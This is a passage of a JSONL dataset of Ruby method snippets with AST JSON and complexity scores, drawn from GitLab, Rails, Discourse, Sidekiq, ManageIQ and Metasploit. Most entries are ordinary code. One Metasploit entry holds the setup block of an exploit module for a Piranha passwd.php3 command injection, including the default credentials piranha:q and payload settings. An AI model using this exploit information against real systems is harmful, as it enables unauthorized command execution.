end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"on_super\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parenthesized?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"keyword\"]},\"end\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"first_argument\"]},\"source_range\"]},\"begin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"str\",\"children\":[\"(\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"insert_after\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"last_argument\"]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}]}]}","id":"55d9da1a-208e-4989-90b7-918de79452a1"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/diff.rb","start_line":232,"raw_source":"def prune!\n @diff = ''\n @line_count = 0\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"prune!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@diff\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@line_count\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"6c399e8e-5453-499e-bbd9-fa182ae7f24e"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/enum_muicache.rb","start_line":87,"raw_source":"def enum_muicache_paths(sys_sids, mui_path)\n user_mui_paths = []\n hive = 'HKU\\\\'\n\n sys_sids.each do |sid|\n full_path = hive + sid + mui_path\n user_mui_paths << full_path\n end\n\n user_mui_paths\n end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"enum_muicache_paths\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sys_sids\"]},{\"type\":\"arg\",\"children\":[\"mui_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_mui_paths\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"hive\",{\"type\":\"str\",\"children\":[\"HKU\\\\\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sys_sids\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"full_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hive\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"sid\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"mui_path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_mui_paths\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"full_path\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"user_mui_paths\"]}]}]}","id":"ad5fd4d9-0b04-47dc-bb79-fbe8af0dcc12"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/inventory/persister/builder/provisioning_manager.rb","start_line":28,"raw_source":"def configuration_organizations\n skip_sti\n add_properties(:manager_ref => %i[manager_ref])\n add_default_values(:provisioning_manager => manager)\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"configuration_organizations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_sti\"]},{\"type\":\"send\",\"children\":[null,\"add_properties\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"manager_ref\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"manager_ref\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_default_values\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"provisioning_manager\"]},{\"type\":\"send\",\"children\":[null,\"manager\"]}]}]}]}]}]}","id":"6cefade6-65a5-4f41-8faa-8f3d9a0b743a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/work_items/update_service.rb","start_line":41,"raw_source":"def associations_before_update(work_item)\n super.merge(\n work_item_parent_id: work_item.work_item_parent&.id\n )\n end","complexity_score":3.7,"ast_json":"{\"type\":\"def\",\"children\":[\"associations_before_update\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_item_parent_id\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_item\"]},\"work_item_parent\"]},\"id\"]}]}]}]}]}","id":"3a07628f-f814-4976-ba8c-e618529f3e61"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/topic_view.rb","start_line":368,"raw_source":"def read_time\n return nil if @post_number > 1 # only show for topic URLs\n\n if @topic.word_count && SiteSetting.read_time_word_count > 0\n [\n @topic.word_count / SiteSetting.read_time_word_count,\n @topic.posts_count * MIN_POST_READ_TIME / 60,\n ].max.ceil\n end\n end","complexity_score":20.63,"ast_json":"{\"type\":\"def\",\"children\":[\"read_time\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post_number\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic\"]},\"word_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"read_time_word_count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic\"]},\"word_count\"]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"read_time_word_count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic\"]},\"posts_count\"]},\"*\",{\"type\":\"const\",\"children\":[null,\"MIN_POST_READ_TIME\"]}]},\"/\",{\"type\":\"int\",\"children\":[60]}]}]},\"max\"]},\"ceil\"]},null]}]}]}","id":"2078d1f0-04eb-4811-83b7-7332f9975e3f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/email_receiver_worker.rb","start_line":37,"raw_source":"def receiver\n @receiver ||= Gitlab::Email::Receiver.new(raw)\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"receiver\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@receiver\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Email\"]},\"Receiver\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"raw\"]}]}]}]}","id":"adc27a9a-2ee6-45fa-b9ce-a2412e4d9dea"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_controller/metal/live.rb","start_line":362,"raw_source":"def new_controller_thread # :nodoc:\n ActionController::Live.live_thread_pool_executor.post do\n t2 = Thread.current\n t2.abort_on_exception = true\n yield\n end\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"new_controller_thread\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Live\"]},\"live_thread_pool_executor\"]},\"post\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t2\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t2\"]},\"abort_on_exception=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"yield\",\"children\":[]}]}]}]}","id":"ae5e1f95-de47-4078-a2e1-aaca01fed932"} {"repo_name":"discourse","file_path":"./repos/discourse/script/test_memory_leak.rb","start_line":130,"raw_source":"def mwrap_log\n report = +\"\"\n\n Mwrap.quiet do\n report << \"Allocated bytes: #{Mwrap.total_bytes_allocated} Freed bytes: #{Mwrap.total_bytes_freed}\\n\"\n report << \"\\n\"\n\n table = []\n Mwrap.each(200_000) do |loc, total, allocations, frees, age_sum, max_life|\n table << [\n total,\n allocations - frees,\n frees == 0 ? -1 : (age_sum / frees.to_f).round(2),\n max_life,\n loc,\n ]\n end\n\n table.sort! { |a, b| b[1] <=> a[1] }\n table = table[0..50]\n\n table.prepend(%w[total delta mean_life max_life location])\n\n report << render_table(table)\n end\n\n report\nend","complexity_score":38.55,"ast_json":"{\"type\":\"def\",\"children\":[\"mwrap_log\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"report\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mwrap\"]},\"quiet\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Allocated bytes: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mwrap\"]},\"total_bytes_allocated\"]}]},{\"type\":\"str\",\"children\":[\" Freed bytes: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mwrap\"]},\"total_bytes_freed\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"lvasgn\",\"children\":[\"table\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mwrap\"]},\"each\",{\"type\":\"int\",\"children\":[200000]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"loc\"]},{\"type\":\"arg\",\"children\":[\"total\"]},{\"type\":\"arg\",\"children\":[\"allocations\"]},{\"type\":\"arg\",\"children\":[\"frees\"]},{\"type\":\"arg\",\"children\":[\"age_sum\"]},{\"type\":\"arg\",\"children\":[\"max_life\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"total\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allocations\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"frees\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"frees\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"int\",\"children\":[-1]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"age_sum\"]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"frees\"]},\"to_f\"]}]}]},\"round\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvar\",\"children\":[\"max_life\"]},{\"type\":\"lvar\",\"children\":[\"loc\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"sort!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]},{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"<=>\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"table\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[50]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"prepend\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"total\"]},{\"type\":\"str\",\"children\":[\"delta\"]},{\"type\":\"str\",\"children\":[\"mean_life\"]},{\"type\":\"str\",\"children\":[\"max_life\"]},{\"type\":\"str\",\"children\":[\"location\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"render_table\",{\"type\":\"lvar\",\"children\":[\"table\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"report\"]}]}]}","id":"ac0009f8-ec37-4f0d-88c4-c7d3410e5cf8"} {"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/generators/sidekiq/job_generator.rb","start_line":32,"raw_source":"def create_job_spec\n template_file = File.join(\n \"spec/sidekiq\",\n class_path,\n \"#{file_name}_job_spec.rb\"\n )\n template \"job_spec.rb.erb\", template_file\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_job_spec\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"str\",\"children\":[\"spec/sidekiq\"]},{\"type\":\"send\",\"children\":[null,\"class_path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_name\"]}]},{\"type\":\"str\",\"children\":[\"_job_spec.rb\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"job_spec.rb.erb\"]},{\"type\":\"lvar\",\"children\":[\"template_file\"]}]}]}]}","id":"a8a560a0-9f02-476d-bf61-648c8f64e662"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/oid/cidr.rb","start_line":33,"raw_source":"def changed?(old_value, new_value, _new_value_before_type_cast)\n !old_value.eql?(new_value) || !old_value.nil? && old_value.prefix != new_value.prefix\n end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"changed?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"old_value\"]},{\"type\":\"arg\",\"children\":[\"new_value\"]},{\"type\":\"arg\",\"children\":[\"_new_value_before_type_cast\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_value\"]},\"eql?\",{\"type\":\"lvar\",\"children\":[\"new_value\"]}]},\"!\"]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_value\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_value\"]},\"prefix\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_value\"]},\"prefix\"]}]}]}]}]}","id":"de55c17c-d4d8-4e11-a537-752e1a543276"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/render_test.rb","start_line":242,"raw_source":"def builder_layout_test\n @name = nil\n render action: \"hello\", layout: \"layouts/builder\"\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"builder_layout_test\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"hello\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"str\",\"children\":[\"layouts/builder\"]}]}]}]}]}]}","id":"7674ce7e-b250-4a94-a47a-fb8689560a46"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/time_travel_test.rb","start_line":465,"raw_source":"def test_time_helper_travel_with_time_subclass\n assert_equal TimeSubclass, TimeSubclass.now.class\n assert_equal DateSubclass, DateSubclass.today.class\n assert_equal DateTimeSubclass, DateTimeSubclass.now.class\n\n travel 1.day do\n assert_equal TimeSubclass, TimeSubclass.now.class\n assert_equal DateSubclass, DateSubclass.today.class\n assert_equal DateTimeSubclass, DateTimeSubclass.now.class\n assert_equal Time.now.to_s, TimeSubclass.now.to_s\n assert_equal Date.today.to_s, DateSubclass.today.to_s\n assert_equal DateTime.now.to_s, DateTimeSubclass.now.to_s\n end\n end","complexity_score":48.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_time_helper_travel_with_time_subclass\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[null,\"TimeSubclass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TimeSubclass\"]},\"now\"]},\"class\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[null,\"DateSubclass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateSubclass\"]},\"today\"]},\"class\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[null,\"DateTimeSubclass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTimeSubclass\"]},\"now\"]},\"class\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"travel\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[null,\"TimeSubclass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TimeSubclass\"]},\"now\"]},\"class\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[null,\"DateSubclass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateSubclass\"]},\"today\"]},\"class\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[null,\"DateTimeSubclass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTimeSubclass\"]},\"now\"]},\"class\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TimeSubclass\"]},\"now\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"today\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateSubclass\"]},\"today\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"now\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTimeSubclass\"]},\"now\"]},\"to_s\"]}]}]}]}]}]}","id":"576995fb-57fd-4e73-99d2-2a98a8598df4"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/piranha_passwd_exec.rb","start_line":13,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'RedHat Piranha Virtual Server Package passwd.php3 Arbitrary Command Execution',\n 'Description' => %q{\n This module abuses two flaws - a metacharacter injection vulnerability in the\n HTTP management server of RedHat 6.2 systems running the Piranha\n LVS cluster service and GUI (rpm packages: piranha and piranha-gui).\n The vulnerability allows an authenticated attacker to execute arbitrary\n commands as the Apache user account (nobody) within the\n /piranha/secure/passwd.php3 script. The package installs with a default\n user and password of piranha:q which was exploited in the wild.\n },\n 'Author' => [ 'aushack' ],\n 'License' => MSF_LICENSE,\n 'References' => [\n # Default password\n [ 'CVE', '2000-0248' ],\n [ 'OSVDB', '289' ],\n [ 'BID', '1148' ],\n # Command Execution\n [ 'CVE', '2000-0322' ],\n [ 'OSVDB', '1300' ],\n [ 'BID', '1149' ]\n ],\n 'Platform' => ['unix'],\n 'Arch' => ARCH_CMD,\n 'Privileged' => false,\n 'Payload' => {\n 'Space' => 1024,\n 'DisableNops' => true,\n 'BadChars' => \"\\x22\\x27\", # magic_quotes_gpc\n # NOTE: We specify our own custom-ish encoder here.\n # This is due to lots of incompatabilities with the old RedHat 6.2 test system.\n # 1. inetd exists, but the syntax is no good.\n # 2. telnet exists\n # 3. /dev/tcp doesn't work.\n # 4. PHP's magic_quotes_gpc is on by default, causing escaping of single/double quotes.\n # 5. echo -ne doesn't work\n 'EncoderType' => Msf::Encoder::Type::PrintfPHPMagicQuotes,\n 'Compat' =>\n {\n 'PayloadType' => 'cmd',\n 'RequiredCmd' => 'generic perl'\n }\n },\n 'Targets' => [\n [ 'Automatic (piranha-gui-0.4.12-1.i386.rpm)', {} ]\n ],\n 'DefaultTarget' => 0,\n 'DisclosureDate' => '2000-04-04',\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n\n register_options(\n [\n OptString.new('HttpUsername', [true, 'The HTTP username to specify for basic authentication', 'piranha']),\n OptString.new('HttpPassword', [true, 'The HTTP password to specify for basic authentication', 'q'])\n ]\n )\n end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"RedHat Piranha Virtual Server Package passwd.php3 Arbitrary Command Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module abuses two flaws - a metacharacter injection vulnerability in the\\n\"]},{\"type\":\"str\",\"children\":[\" HTTP management server of RedHat 6.2 systems running the Piranha\\n\"]},{\"type\":\"str\",\"children\":[\" LVS cluster service and GUI (rpm packages: piranha and piranha-gui).\\n\"]},{\"type\":\"str\",\"children\":[\" The vulnerability allows an authenticated attacker to execute arbitrary\\n\"]},{\"type\":\"str\",\"children\":[\" commands as the Apache user account (nobody) within the\\n\"]},{\"type\":\"str\",\"children\":[\" /piranha/secure/passwd.php3 script. The package installs with a default\\n\"]},{\"type\":\"str\",\"children\":[\" user and password of piranha:q which was exploited in the wild.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"aushack\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2000-0248\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"289\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"1148\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2000-0322\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"1300\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"1149\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[1024]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\\"'\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EncoderType\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Encoder\"]},\"Type\"]},\"PrintfPHPMagicQuotes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"generic perl\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic 